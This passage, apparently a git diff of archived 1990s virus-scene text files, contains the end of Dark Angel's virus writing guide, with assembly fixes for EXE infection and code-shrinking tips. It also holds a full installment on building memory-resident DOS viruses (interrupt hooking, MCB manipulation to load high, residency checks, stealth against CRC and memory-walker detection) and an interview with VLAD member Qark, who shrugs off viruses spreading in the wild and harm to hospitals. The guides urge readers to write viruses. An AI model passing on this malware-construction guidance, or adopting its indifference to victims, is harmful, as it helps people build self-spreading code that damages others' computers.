mod + 512 was screwed up. Here is the corrected version: + + ; On entry, DX:AX hold the NEW file size + + push ax ; Save low word of filesize + mov cl, 9 ; 2^9 = 512 + shr ax, cl ; / 512 + ror dx, cl ; / 512 (sort of) + stc ; Check EXE header description + ; for explanation of addition + adc dx, ax ; of 1 to the DIV 512 portion + pop ax ; Restore low word of filesize + and ah, 1 ; MOD 512 + + This results in the file size / 512 + 1 in DX and the file size modulo 512 + in AX. The rest remains the same. Test your EXE infection routine with + Microsoft's LINK.EXE, since it won't run unless the EXE infection is + perfect. + + I have saved you the trouble and smacked myself upside the head for this + dumb error. + + 컴컴컴컴컴컴컴� + TIPS AND TRICKS + 컴컴컴컴컴컴컴� + So now all the parts of the nonresident virus have been covered. Yet I + find myself left with several more K to fill. So, I shall present several + simple techniques anyone can incorporate into virii to improve efficiency. + + 1. Use the heap + The heap is the memory area between the end of code and the bottom of + the stack. It can be conveniently treated as a data area by a virus. + By moving variables to the heap, the virus need not keep variables in + its code, thereby reducing its length. Note that since the contents + heap are not part of the virus, only temporary variables should be + kept there, i.e. the infection routine should not count the heap as + part of the virus as that would defeat the entire purpose of its use. + There are two ways of using the heap: + + ; First method + + EndOfVirus: + Variable1 equ $ + Variable2 equ Variable1 + LengthOfVariable1 + Variable3 equ Variable2 + LengthOfVariable2 + Variable4 equ Variable3 + LengthOfVariable3 + + ; Example of first method + + EndOfVirus: + StartingDirectory = $ + TemporaryDTA = StartingDirectory + 64 + FileSize = TemporaryDTA + 42 + Flag = FileSize + 4 + + ; Second method + + EndOfVirus: + Variable1 db LengthOfVariable1 dup (?) + Variable2 db LengthOfVariable2 dup (?) + Variable3 db LengthOfVariable3 dup (?) + Variable4 db LengthOfVariable4 dup (?) + + ; Example of second method + EndOfVirus: + StartingDirectory db 64 dup (?) + TemporaryDTA db 42 dup (?) + FileSize dd ? + Flag db ? + + The two methods differ slightly. By using the first method, you + create a file which will be the exact length of the virus (plus + startup code). However, when referencing the variables, size + specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always + be used or the assembler will become befuddled. Secondly, if the + variables need to be rearranged for some reason, the entire chain of + EQUates will be destroyed and must be rebuilt. Virii coded with + second method do not need size specifications, but the resulting file + will be larger than the actual size of the virus. While this is not + normally a problem, depending on the reinfection check, the virus may + infect the original file when run. This is not a big disability, + especially considering the advantages of this method. + + In any case, the use of the heap can greatly lessen the effective + length of the virus code and thereby make it much more efficient. The + only thing to watch out for is infecting large COM files where the + heap will "wrap around" to offset 0 of the same segment, corrupting + the PSP. However, this problem is easily avoided. When considering + whether a COM file is too large to infect for this reason, simply add + the temporary variable area size to the virus size for the purposes of + the check. + + 2. Use procedures + Procedures are helpful in reducing the size of the virus, which is + always a desired goal. Only use procedures if they save space. To + determine the amount of bytes saved by the use of a procedure, use the + following formula: + + Let PS = the procedure size, in bytes + bytes saved = (PS - 4) * number invocations - PS + + For example, the close file procedure, + + close_file: + mov ah, 3eh ; 2 bytes + int 21h ; 2 bytes + ret ; 1 byte + ; PS = 2+2+1 = 5 + + is only viable if it is used 6 or more times, as (5-4)*6 - 5 = 1. A + whopping savings of one (1) byte! Since no virus closes a file in six + different places, the close file procedure is clearly useless and + should be avoided. + + Whenever possible, design the procedures to be as flexible as + possible. This is the chief reason why Bulgarian coding is so tight. + Just take a look at the source for Creeping Death. For example, the + move file pointer procedure: + + go_eof: + mov al, 2 + move_fp: + xor dx, dx + go_somewhere: + xor cx, cx + mov ah, 42h + int 21h + ret + + The function was build with flexibility in mind. With a CALL to + go_eof, the procedure will move the file pointer to the end of the + file. A CALL to move_fp with AL set to 0, the file pointer will be + reset. A CALL to go_somewhere with DX and AL set, the file pointer + may be moved anywhere within the file. If the function is used + heavily, the savings could be enormous. + + 3. Use a good assembler and debugger + The best assembler I have encountered to date is Turbo Assembler. It + generates tight code extremely quickly. Use the /m2 option to + eliminate all placeholder NOPs from the code. The advantages are + obvious - faster development and smaller code. + + The best debugger is also made by Borland, the king of development + tools. Turbo Debugger has so many features that you might just want + to buy it so you can read the manual! It can bypass many debugger + traps with ease and is ideal for testing. Additionally, this debugger + has 286 and 386 specific protected mode versions, each of which are + even more powerful than their real mode counterparts. + + 4. Don't use MOV instead of LEA + When writing your first virus, you may often forget to use LEA instead + of MOV when loading offsets. This is a serious mistake and is often + made by beginning virus coders. The harmful effects of such a + grevious error are immediately obvious. If the virus is not working, + check for this bug. It's almost as hard to catch as a NULL pointer + error in C. + + 5. Read the latest issues of 40Hex + 40Hex, PHALCON/SKISM's official journal of virus techniques and news, + is a publication not to be missed by any self-respecting virus writer. + Each issue contains techniques and source code, designed to help all + virus writers, be they beginners or experts. Virus-related news is + also published. Get it, read it, love it, eat it! + + 컴컴컴 + SO NOW + 컴컴컴 + you have all the code and information sufficient to write a viable virus, + as well as a wealth of techniques to use. So stop reading and start + writing! The only way to get better is through practise. After two or + three tries, you should be well on your way to writing good virii. + +Downloaded From P-80 International Information Systems 304-744-2253 diff --git a/textfiles.com/virus/ps_vir4.vir b/textfiles.com/virus/ps_vir4.vir new file mode 100644 index 00000000..627c00a2 --- /dev/null +++ b/textfiles.com/virus/ps_vir4.vir @@ -0,0 +1,379 @@ + //==// // // /|| // //==== //==// //| // + // // // // //|| // // // // //|| // + //==// //==// //=|| // // // // // || // + // // // // || // // // // // ||// + // // // // || //==== //==== //==// // ||/ + + /==== // // // /==== /| /| + // // // // // //| //| + ===\ // // // ===\ //|| //|| + // // \\ // // // ||// || + ====/ // \\ // ====/ // ||/ || + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + DISCLAIMER: This file is 100% guaranteed to + exist. The author makes no claims to the + existence or nonexistence of the reader. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + This space intentionally left blank. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + GREETS: Welcome home, Hellraiser! Hello to + the rest of the PHALCON/SKISM crew: Count + Zero, Demogorgon, Garbageheap, as well as + everyone else I failed to mention. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + Dark Angel's Clumpy Virus Writing Guide + 컴컴 컴컴컴� 컴컴컴 컴컴� 컴컴컴� 컴컴� + "It's the cheesiest" - Kraft + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + INSTALLMENT IV: RESIDENT VIRII, PART I + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + + Now that the topic of nonresident virii has been addressed, this series now + turns to memory resident virii. This installment covers the theory behind + this type of virus, although no code will be presented. With this + knowledge in hand, you can boldly write memory resident virii confident + that you are not fucking up too badly. + + 컴컴컴컴컴 + INTERRUPTS + 컴컴컴컴컴 + DOS kindly provides us with a powerful method of enhancing itself, namely + memory resident programs. Memory resident programs allow for the extention + and alteration of the normal functioning of DOS. To understand how memory + resident programs work, it is necessary to delve into the intricacies of + the interrupt table. The interrupt table is located from memory location + 0000:0000 to 0000:0400h (or 0040:0000), just below the BIOS information + area. It consists of 256 double words, each representing a segment:offset + pair. When an interrupt call is issued via an INT instruction, two things + occur, in this order: + + 1) The flags are pushed onto the stack. + 2) A far call is issued to the segment:offset located in the interrupt + table. + + To return from an interrupt, an iret instruction is used. The iret + instruction reverses the order of the int call. It performs a retf + followed by a popf. This call/return procedure has an interesting + sideeffect when considering interrupt handlers which return values in the + flags register. Such handlers must directly manipulate the flags register + saved in the stack rather than simply directly manipulating the register. + + The processor searches the interrupt table for the location to call. For + example, when an interrupt 21h is called, the processor searches the + interrupt table to find the address of the interrupt 21h handler. The + segment of this pointer is 0000h and the offset is 21h*4, or 84h. In other + words, the interrupt table is simply a consecutive chain of 256 pointers to + interrupts, ranging from interrupt 0 to interrupt 255. To find a specific + interrupt handler, load in a double word segment:offset pair from segment + 0, offset (interrupt number)*4. The interrupt table is stored in standard + Intel reverse double word format, i.e. the offset is stored first, followed + by the segment. + + For a program to "capture" an interrupt, that is, redirect the interrupt, + it must change the data in the interrupt table. This can be accomplished + either by direct manipulation of the table or by a call to the appropriate + DOS function. If the program manipulates the table directly, it should put + this code between a CLI/STI pair, as issuing an interrupt by the processor + while the table is half-altered could have dire consequences. Generally, + direct manipulation is the preferable alternative, since some primitive + programs such as FluShot+ trap the interrupt 21h call used to set the + interrupt and will warn the user if any "unauthorised" programs try to + change the handler. + + An interrupt handler is a piece of code which is executed when an interrupt + is requested. The interrupt may either be requested by a program or may be + requested by the processor. Interrupt 21h is an example of the former, + while interrupt 8h is an example of the latter. The system BIOS supplies a + portion of the interrupt handlers, with DOS and other programs supplying + the rest. Generally, BIOS interrupts range from 0h to 1Fh, DOS interrupts + range from 20h to 2Fh, and the rest is available for use by programs. + + When a program wishes to install its own code, it must consider several + factors. First of all, is it supplanting or overlaying existing code, that + is to say, is there already an interrupt handler present? Secondly, does + the program wish to preserve the functioning of the old interrupt handler? + For example, a program which "hooks" into the BIOS clock tick interrupt + would definitely wish to preserve the old interrupt handler. Ignoring the + presence of the old interrupt handler could lead to disastrous results, + especially if previously-loaded resident programs captured the interrupt. + + A technique used in many interrupt handlers is called "chaining." With + chaining, both the new and the old interrupt handlers are executed. There + are two primary methods for chaining: preexecution and postexecution. With + preexecution chaining, the old interrupt handler is called before the new + one. This is accomplished via a pseudo-INT call consisting of a pushf + followed by a call far ptr. The new interrupt handler is passed control + when the old one terminates. Preexecution chaining is used when the new + interrupt handler wishes to use the results of the old interrupt handler in + deciding the appropriate action to take. Postexecution chaining is more + straightforward, simply consisting of a jmp far ptr instruction. This + method doesn't even require an iret instruction to be located in the new + interrupt handler! When the jmp is executed, the new interrupt handler has + completed its actions and control is passed to the old interrupt handler. + This method is used primarily when a program wishes to intercept the + interrupt call before DOS or BIOS gets a chance to process it. + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + AN INTRODUCTION TO DOS MEMORY ALLOCATION + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + Memory allocation is perhaps one of the most difficult concepts, certainly + the hardest to implement, in DOS. The problem lies in the lack of official + documentation by both Microsoft and IBM. Unfortunately, knowledge of the + DOS memory manager is crucial in writing memory-resident virii. + + When a program asks DOS for more memory, the operating system carves out a + chunk of memory from the pool of unallocated memory. Although this concept + is simple enough to understand, it is necessary to delve deeper in order to + have sufficient knowledge to write effective memory-resident virii. DOS + creates memory control blocks (MCBs) to help itself keep track of these + chunks of memory. MCBs are paragraph-sized areas of memory which are each + devoted to keeping track of one particular area of allocated memory. When + a program requests memory, one paragraph for the MCB is allocated in + addition to the memory requested by the program. The MCB lies just in + front of the memory it controls. Visually, a MCB and its memory looks + like: + + 旼컴컴컴쩡컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + � MCB 1 � Chunk o' memory controlled by MCB 1 � + 읕컴컴컴좔컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + When a second section of memory is requested, another MCB is created just + above the memory last allocated. Visually: + + 旼컴컴컴쩡컴컴컴컴쩡컴컴컴쩡컴컴컴컴� + � MCB 1 � Chunk 1 � MCB 2 � Chunk 2 � + 읕컴컴컴좔컴컴컴컴좔컴컴컴좔컴컴컴컴� + + In other words, the MCBs are "stacked" one on top of the other. It is + wasteful to deallocate MCB 1 before MCB 2, as holes in memory develop. The + structure for the MCB is as follows: + + Offset Size Meaning + 컴컴컴 컴컴컴� 컴컴컴� + 0 BYTE 'M' or 'Z' + 1 WORD Process ID (PSP of block's owner) + 3 WORD Size in paragraphs + 5 3 BYTES Reserved (Unused) + 8 8 BYTES DOS 4+ uses this. Yay. + + If the byte at offset 0 is 'M', then the MCB is not the end of the chain. + The 'Z' denotes the end of the MCB chain. There can be more than one MCB + chain present in memory at once and this "feature" is used by virii to go + resident in high memory. The word at offset 1 is normally equal to the PSP + of the MCB's owner. If it is 0, it means that the block is free and is + available for use by programs. A value of 0008h in this field denotes DOS + as the owner of the block. The value at offset 3 does NOT include the + paragraph allocated for the MCB. It reflects the value passed to the DOS + allocation functions. All fields located after the block size are pretty + useless so you might as well ignore them. + + When a COM file is loaded, all available memory is allocated to it by DOS. + When an EXE file is loaded, the amount of memory specified in the EXE + header is allocated. There is both a minimum and maximum value in the + header. Usually, the linker will set the maximum value to FFFFh + paragraphs. If the program wishes to allocate memory, it must first shrink + the main chunk of memory owned by the program to the minimum required. + Otherwise, the pathetic attempt at memory allocation will fail miserably. + + Since programs normally are not supposed to manipulate MCBs directly, the + DOS memory manager calls (48h - 4Ah) all return and accept values of the + first program-usable memory paragraph, that is, the paragraph of memory + immediately after the MCB. It is important to keep this in mind when + writing MCB-manipulating code. + + 컴컴컴컴컴컴컴컴컴컴컴컴� + METHODS OF GOING RESIDENT + 컴컴컴컴컴컴컴컴컴컴컴컴� + There are a variety of memory resident strategies. The first is the use of + the traditional DOS interrupt TSR routines, either INT 27h or INT + 21h/Function 31h. These routines are undesirable when writing virii, + because they do not return control back to the program after execution. + Additionally, they show up on "memory walkers" such as PMAP and MAPMEM. + Even a doorknob can spot such a blatant viral presence. + + The traditional viral alternative to using the standard DOS interrupt is, + of course, writing a new residency routine. Almost every modern virus uses + a routine to "load high," that is, to load itself into the highest possible + memory location. For example, in a 640K system, the virus would load + itself just under the 640K but above the area reserved by DOS for program + use. Although this is technically not the high memory area, it shall be + referred to as such in the remainder of this file in order to add confusion + and general chaos into this otherwise well-behaved file. Loading high can + be easily accomplished through a series of interrupt calls for reallocation + and allocation. The general method is: + + 1. Find the memory size + 2. Shrink the program's memory to the total memory size - virus size + 3. Allocate memory for the virus (this will be in the high memory area) + 4. Change the program's MCB to the end of the chain (Mark it with 'Z') + 5. Copy the virus to high memory + 6. Save the old interrupt vectors if the virus wishes to chain vectors + 7. Set the interrupt vectors to the appropriate locations in high memory + + When calculating memory sizes, remember that all sizes are in paragraphs. + The MCB must also be considered, as it takes up one paragraph of memory. + The advantage of this method is that it does not, as a rule, show up on + memory walkers. However, the total system memory as shown by such programs + as CHKDSK will decrease. + + A third alternative is no allocation at all. Some virii copy themselves to + the memory just under 640K, but fail to allocate the memory. This can have + disastrous consequences, as any program loaded by DOS can possibly use this + memory. If it is corrupted, unpredictable results can occur. Although no + memory loss is shown by CHKDSK, the possible chaos resulting from this + method is clearly unacceptable. Some virii use memory known to be free. + For example, the top of the interrupt table or parts of video memory all + may be used with some assurance that the memory will not be corrupted. + Once again, this technique is undesirable as it is extremely unstable. + + These techniques are by no means the only methods of residency. I have + seen such bizarre methods as going resident in the DOS internal disk + buffers. Where there's memory, there's a way. + + It is often desirable to know if the virus is already resident. The + simplest method of doing this is to write a checking function in the + interrupt handler code. For example, a call to interrupt 21h with the ax + register set to 7823h might return a 4323h value in ax, signifying + residency. When using this check, it is important to ensure that no + possible conflicts with either other programs or DOS itself will occur. + Another method, albeit a costly process in terms of both time and code + length, is to check each segment in memory for the code indicating the + presence of the virus. This method is, of course, undesirable, since it is + far, far simpler to code a simple check via the interrupt handler. By + using any type of check, the virus need not fear going resident twice, + which would simply be a waste of memory. + + 컴컴컴컴컴컴� + WHY RESIDENT? + 컴컴컴컴컴컴� + Memory resident virii have several distinct advantages over runtime virii. + o Size + Memory resident virii are often smaller than their runtime brethern as + they do not need to include code to search for files to infect. + o Effectiveness + They are often more virulent, since even the DIR command can be + "infected." Generally, the standard technique is to infect each file + that is executed while the virus is resident. + o Speed + Runtime virii infect before a file is executed. A poorly written or + large runtime virus will cause a noticible delay before execution + easily spotted by users. Additionally, it causes inordinate disk + activity which is detrimental to the lifespan of the virus. + o Stealth + The manipulation of interrupts allows for the implementation of + stealth techniques, such as the hiding of changes in file lengths in + directory listings and on-the-fly disinfection. Thus it is harder for + the average user to detect the virus. Additionally, the crafty virus + may even hide from CRC checks, thereby obliterating yet another anti- + virus detection technique. + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + STRUCTURE OF THE RESIDENT VIRUS + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + With the preliminary information out of the way, the discussion can now + shift to more virus-related, certainly more interesting topics. The + structure of the memory resident virus is radically different from that of + the runtime virus. It simply consists of a short stub used to determine if + the virus is already resident. If it is not already in memory, the stuf + loads it into memory through whichever method. Finally, the stub restores + control to the host program. The rest of the code of the resident virus + consists of interrupt handlers where the bulk of the work is done. + + The stub is the only portion of the virus which needs to have delta offset + calculations. The interrupt handler ideally will exist at a location which + will not require such mundane fixups. Once loaded, there should be no + further use of the delta offset, as the location of the variables is + preset. Since the resident virus code should originate at offset 0 of the + memory block, originate the source code at offset 0. Do not include a jmp + to the virus code in the original carrier file. When moving the virus to + memory, simply move starting from [bp+startvirus] and the offsets should + work out as they are in the source file. This simplifies (and shortens) + the coding of the interrupt handlers. + + Several things must be considered in writing the interrupt handlers for a + virus. First, the virus must preserve the registers. If the virus uses + preexecution chaining, it must save the registers after the call to the + original handler. If the virus uses postexecution chaining, it must + restore the original registers of the interrupt call before the call to the + original handler. Second, it is more difficult, though not impossible, to + implement encryption with memory resident virii. The problem is that if + the interrupt handler is encrypted, that interrupt handler cannot be called + before the decryption function. This can be a major pain in the ass. The + cheesy way out is to simply not include encryption. I prefer the cheesy + way. The noncheesy readers out there might wish to have the memory + simultaneously hold two copies of the virus, encrypt the unused copy, and + use the encrypted copy as the write buffer. Of course, the virus would + then take twice the amount of memory it would normally require. The use of + encryption is a matter of personal choice and cheesiness. A sidebar to + preservation of interrupt handlers: As noted earlier, the flags register is + restored from the stack. It is important in preexecution chaining to save + the new flags register onto the stack where the old flags register was + stored. + + Another important factor to consider when writing interrupt handlers, + especially those of BIOS interrupts, is DOS's lack of reentrance. This + means that DOS functions cannot be executed while DOS is in the midst of + processing an interrupt request. This is because DOS sets up the same + stack pointer each time it is called, and calling the second DOS interrupt + will cause the processing of one to overwrite the stack of the other, + causing unpredictable, but often terminal, results. This applies + regardless of which DOS interrupts are called, but it is especially true + for interrupt 21h, since it is often tempting to use it from within an + interrupt handler. Unless it is certain that DOS is not processing a + previous request, do NOT use a DOS function in the interrupt handler. It + is possible to use the "lower" interrupt 21h functions without fear of + corrupting the stack, but they are basically the useless ones, performing + functions easily handled by BIOS calls or direct hardware access. This + entire discussion only applies to hooking non-DOS interrupts. With hooking + DOS interrupts comes the assurance that DOS is not executing elsewhere, + since it would then be corrupting its own stack, which would be a most + unfortunate occurence indeed. + + The most common interrupt to hook is, naturally, interrupt 21h. Interrupt + 21h is called by just about every DOS program. The usual strategy is for a + virus to find potential files to infect by intercepting certain DOS calls. + The primary functions to hook include the find first, find next, open, and + execute commands. By cleverly using pre and postexecution chaining, a + virus can easily find the file which was found, opened, or executed and + infect it. The trick is simply finding the appropriate method to isolate + the filename. Once that is done, the rest is essentially identical to the + runtime virus. + + When calling interrupts hooked by the virus from the virus interrupt code, + make sure that the virus does not trap this particular call, lest an + infinite loop result. For example, if the execute function is trapped and + the virus wishes, for some reason, to execute a particular file using this + function, it should NOT use a simple "int 21h" to do the job. In cases + such as this where the problem is unavoidable, simply simulate the + interrupt call with a pushf/call combination. + + The basic structure of the interrupt handler is quite simple. The handler + first screens the registers for either an identification call or for a + trapped function such as execute. If it is not one of the above, the + handler throws control back to the original interrupt handler. If it is an + identification request, the handler simply sets the appropriate registers + and returns to the calling program. Otherwise, the virus must decide if + the request calls for pre or postexecution chaining. Regardless of which + it uses, the virus must find the filename and use that information to + infect. The filename may be found either through the use of registers as + pointers or by searching thorugh certain data structures, such as FCBs. + The infection routine is the same as that of nonresident virii, with the + exception of the guidelines outlined in the previous few paragraphs. + + 컴컴컴컴컴컴컴 + WHAT'S TO COME + 컴컴컴컴컴컴컴 + I apologise for the somewhat cryptic sentences used in the guide, but I'm a + programmer, not a writer. My only suggestion is to read everything over + until it makes sense. I decided to pack this issue of the guide with + theory rather than code. In the next installment, I will present all the + code necessary to write a memory-resident virus, along with some techniques + which may be used. However, all the information needed to write a resident + virii has been included in this installment; it is merely a matter of + implementation. Have buckets o' fun! + + +Downloaded From P-80 International Information Systems 304-744-2253 diff --git a/textfiles.com/virus/qkinterv.iew b/textfiles.com/virus/qkinterv.iew new file mode 100644 index 00000000..4f673827 --- /dev/null +++ b/textfiles.com/virus/qkinterv.iew @@ -0,0 +1,445 @@ +Qark is one of the two founders of VLAD (Virus Labs And Distrubution). +(The other founder, Metabolis was interviewed by me for IR6) He's +of course a viruswriter and has written a lot of new groundbreaking +viruses, invented new techniques and has in a quite short time made a very +good reputation for himself and VLAD. + +Well, I got nothing to add about this person, because you should +know him :-), by reputation or via IRC than he's very nice and even +though he's a highly skilled coder, he's always happy to help you out! +Enjoy! + +- The Unforgiven. + +PS. + + '-' = TU + no '-' = Qark :-). + +Edited by Qark, himself. +================================================================================ + +-Even though it might be pointless, introduce yourself to the readers! + + I am Qark, an Australian virus writer born in the seventies. + +-How are you in a private matter? + + What ? :-) (non comprende) + +-How is it to live in Australia? + + A lot warmer than Sweden! :-) I've never seen snow.. + + Australia is alot like the US but fewer guns and a different accent. + +-In what other country could you consider living? + + Only english speaking countries where its not too cold. + Maybe England or New Zealand (USA has too much crime). + +-Do you have any plans to move away from Australia? + + Nope. + +-What do you do for a living? + + I'm a Tertiary Student, although I don't take university very + seriously. I choose most of my subjects based on their ability + to help my virus writing skills. Most of the time I skip my + lectures and get drunk at the club hehe :-) + +-What do you do on your spare time? + + Writing viruses is my main hobby, (I don't use my computer + unless it is somehow related to computer viruses). + My other hobby is reading fantasy books. + +-Do you have a girlfriend/wife or a steady relationship? + + Nope. + +-How would you describe the average viruswriter? + + Most of them are fairly cool on an individual basis. The + lame, "eye w1ll inf3ct th3 w0rld" attitude normally leaves + coders if they get any good. + +-What do you think nearly all viruswriters share in-common? + + All are young males. + + The Unforgiven disagrees with me about this, but I beleive + more than half of virus writers come from broken homes of some + sort. This doesn't hold true for alot of virus writers (eg The Unforgiven) + but I would say there is a higher rate than in the general community. + + Of the Australian virus writers only one that I know of, doesn't come from + a disfunctional family. I don't know what this other fact means, but + of the Australian virus writers, all are either immigrants, or the + children of immigrants. The only exception is me :-) + +-From where did you get you handle, Qark? + + I just picked it out before going on irc one time, and I've stuck with it. + +-When did you discover the world of computers? + + I have only owned a computer for about three years and before + that I knew nothing about them. + +-How long have you been active in the virus-scene, were you active + in any scene before the virus-scene? + + I have been in the virus scene since the end of 1994, and before + that I used to leech warez :-) + +-How did you come into the virus business? + + The first thing I did when I got a computer was start trying to write + viruses. That's half the reason I got a computer in the first place. + It was always a fascination of mine, ever since I heard the concept. + +-What parts of the underground do you think needs improvement, + and what do you think is lacking in the virus-community? + + I hate the entire underground basically. Most people can't do shit, + but like to show off over nothing. + +-Positive/negative aspects of the (mainly virus) scene? + + Positive: alot of the people you meet are really interesting. + Negative: there aren't many good coders around at the moment. + +-Have you been involved in any other group than Vlad, + (if yes, which group, and what did you do for them?) + + nope + +-What's VLAD goal? + + To write cool new viruses. + +-What does it take to become a VLAD member? + + You have to be a good coder, and all the members have to like you. + We have too many members right now, so it's almost impossible to become + a member at the moment, unless someone quits. + +-Have you met any Vlad member privately? + + I've met Metabolis about five times, and Quantum twice. + +-How is VLAD organized? + + Metabolis is the leader and makes all the decisions. + I'm 'pseudo-second in command' or something. My main responsibility + is gathering together and organising our viruses and articles for the + magazine, which I also do the coding for. + +-Do VLAD-australia have meetings or so? + + Every magazine I go over to Metabolis' place and we finish off the + magazine together, and since we are the only two Australian VLAD + members, thats a VLAD-Australia meeting :-) + Neuron and Quantum are normally at the VLAD meetings so it means we + have four virus writers in the one place, which is an interesting + experience. If Talon had turned up, it would have been a proper Australian + virus-con. + +-Have you ever had any trouble with any members? + + Well, once I punched Quantum in the face for strangling me, but + if you mean internal politics, none :-) + +-Have VLAD got in problems with any other virus-group, or person + involved in the vx-scene? (Why did it started, how did it end?) + + We had a flame-war with Aristotle about a year ago, but that seems to + have just faded away... + +-Do you have any couriers that spread your viruses around infecting + software? + + No. + +-Which VLAD-viruses has leaked in the wild? + + Hemlock infected a few people. I suspect it was spread by + over-zealous magazine fans. + +-What do you think about viruses leaking in the wild? + + Couldn't give a shit :-) + +-What responses have VLAD had concerning the VLAD zines? + + We get plenty of fan-mail (when our email address is working), all of + which is positive, but in the newsgroups there is the occasional ignorant + person who objects to us. + +-Do you still remember who gave VLAD their first feedback? + + You ? :-) + +-Do you think VLAD changed the vx-community in any way? + + Anything we write influences the coding styles of many virus writers. + + VLAD invented the windows executable infection technique that everybody + who wants to infect windows is using. + +-Why do you think VLAD got *a lot* of attention in the vx (av as well?) + pretty close after the first vlad-zine? + + Did we ? I sure didn't notice.. maybe it was our secret areas :-) + + Nowadays, I think it is because of the quality of our viruses, + and they wonder what new things we will invent. + +-What is your opinion about your zines? (What do you like in them, what + are they missing?). + + Issues 1 and 2 sucked, the rest were better. In the last couple of issues + we didn't have many plain articles that anyone could read. Most of the + stuff was so complex that few people could understand it. We'd like to + fix that. + +-How do you think people will remember VLAD when the viruswriting + is dead? + + As the worlds leading virus development group. (hope) + +-In the first Vlad-Zine, Metabolis said Vlad should be around until there + was no new techniques to discover conserning viruses, do you think this + ever will stop, or when do you think it will stop? + + Probably after Win95 is infected. + +-How come you started coding assembly language? + + To write viruses. + +-When did you start with viruswriting? + + At the start of 1994. + +-What motivates you to write computer viruses? + + I enjoy the programming techniques. If anything was as much fun, I'd do + that instead. Infecting people has nothing to do with my motivation. + +-Why did you start to write computer viruses? + + I always wanted to write one, even before I knew anything about computers. + Viruses fascinated me, so when I got a computer that's what I devoted + myself to. + +-Did you write viruses before VLAD? + + I wrote one lame direct action COM infector before VLAD. + +-After quite some time with viruses, what makes you go on? + + Just the challenge. One day I will get bored with it all and quit. + +-You have 'invented' a lot of new virus-techniques, which one was + the hardest to think of and the hardest to implement? + + The windows NE infection, because reading the windows format is like + looking at hieroglyphics. Every table points to another which is indexed + to a variable array, with a structure listed in table 2-6 + except in the case where .. etc etc (you get my drift) + +-Any special viruses you have had a lot of good feedback from? + + Winsurfer, MegaStealth, and I got some compliments from people + I respect about my Horsa virus. + +-How do you think the viruswriting future looks for Win95 and DOS? + + The DOS future is as bright as ever, but Win95 waits to be conquered... + +-Which do you think is best polymorphic virus around ? + + CPE-APE is excellent, if somewhat buggy. + +-How do you think a polymorphic virus/engine should be styled? + + Anti-Heuristic, continuously changing registers as the + key/pointer etc, uses cryptanalytically sophisticated + encryption, different decryptor styles etc + +-Are you into other things in the underground-computing or just + viruswriting? + + Just virus-writing. The hack/phreak scene is packed with + lamers (even worse than the virus scene). + +-Has the scene in any way influented on your real life? + + It taught me how to code better than my lecturers, so I get + better marks at university. + +-Would you feel guilty if one of your viruses made damage to a + hospital? + + I would think about it for a while, but after that I wouldn't + worry about it. + +-Do you find it morally wrong to, write viruses, spread viruses + into the wild or share source-code? + + None of them offend me, but I wouldn't spread viruses because + it's just a waste of time. If someone else does, I couldnt + care less. + +-Which virus magazine do you like reading the most? + + Probably 40hex because it is well written and has the best coders. + +-What do you think a virus-zine should include? + + See VLAD 3-5 :-) + +-Which virus programmer do you admire (or like?) + + Talon was always my idol as I was just starting out, because + he is intelligent and a good coder. + I like a number of the virus writers I know, and consider them my friends. + +-Which country do you consider the best/most active in viruswriting? + + Australia! We have more -active- coders than the USA at the moment. + + Actually, Sweden, Russia, Italy, Taiwan and Holland are all + fairly good. + +-What do you think about these virus generators, such as VCL and PS-MPC? + What would you like to say to those using them? + + I don't have a problem with them, although many virus writers + say that it degrades the art of coding. + + Using creation labs is lame. A person who uses them should + either write their own virus or spread a good undetectable one. + +-What do you think the future looks like for virus-generators? + Have you ever considered writing a generator? + + Virus Generators will still be created, probably making + more complex viruses then previously. + + I have thought about writing one before, but Metabolis + doesn't like the idea much, but it's still a possibility. + +-What do you think about the macro-virus which've appeared lately? + Do you think they'll start a new trend in viruswriting? + + The new macro viruses are ok, but I will stick with assembly language. + + As applications of that kind grow more complex it will become more + common. Soon things like winword will resemble an operating system. + +-WW6.Nuclear could drop Ph33r that you had written, was you aware of this + when it got distributed into the wild? + + I knew it. When the author told me he was going to drop + ph33r, I was pleased. + + Winword.Nuclear wasn't written by me! Alot of people think + it was, but this is incorrect. I did, however, write ph33r. + +-How would you define the word computer-virus. + + A segment of code that copies itself around the place. + +-Describe the perfect virus: + + COM/EXE/NE, no bugs, excellent polymorphism, good stealth. + + Change 'NE' to 'PE' when win95 infection has been developed. + +-Is this type of virus around today? + + No. + +-Describe the perfect viruswriter: + + See : "priest" (except for him letting his real name out). + +-Describe the AV-community with a few lines: + + I respect people like Eugene Kaspersky and Frans Veldman who + are good progammers and provide quality products, but others are + lamers, who vye to out-do their fellow AV-ers in trying to + condemn virus writers. + +-Which AV-program do you think is the best and why? + + AVP, because of it's excellent descriptions and polymorphism + detection. It should fix up it's scanning speed and + user interface to become even better. + +-What do you think about the future for the underground? + (Like laws about H/P/V and stuff.. ) + + Banning virus writing wouldn't change a thing. + + Couldn't care less about hacking or phreaking. + +-Do you think in someway viruswriting or spreading could be considered + a crime? + + Spreading should be a crime, but not writing. + + To prove someone was writing a virus, they'd have to install + a video camera and record you writing virus code, otherwise + you could just say you got the source off the net or something. + The government could abuse this and say anyone is a virus + writer as an excuse to invade their home. + + So, banning virus writing would gain one or two convictions + (maybe) and stand the chance of being used as a tool in + totalitarianism. + +-Do you know/heard of any new technics coming in the near future? + + Win 95 ? And a polymorphic engine with layers and layers of + encryption. + +-Any advice to people who want's to learn the basic of virus-writing? + + Get dark angels funky virus writing guides. + +-Can you be reached somewhere? + + On irc as 'qark' and via email at the vlad email address. + Our homepage is at http://nether.net/~halflife/ + Our magazines can be ftp'ed from: + ftp.netcom.com /pub/br/bradleym/Zines/VLAD + ftp.fc.net 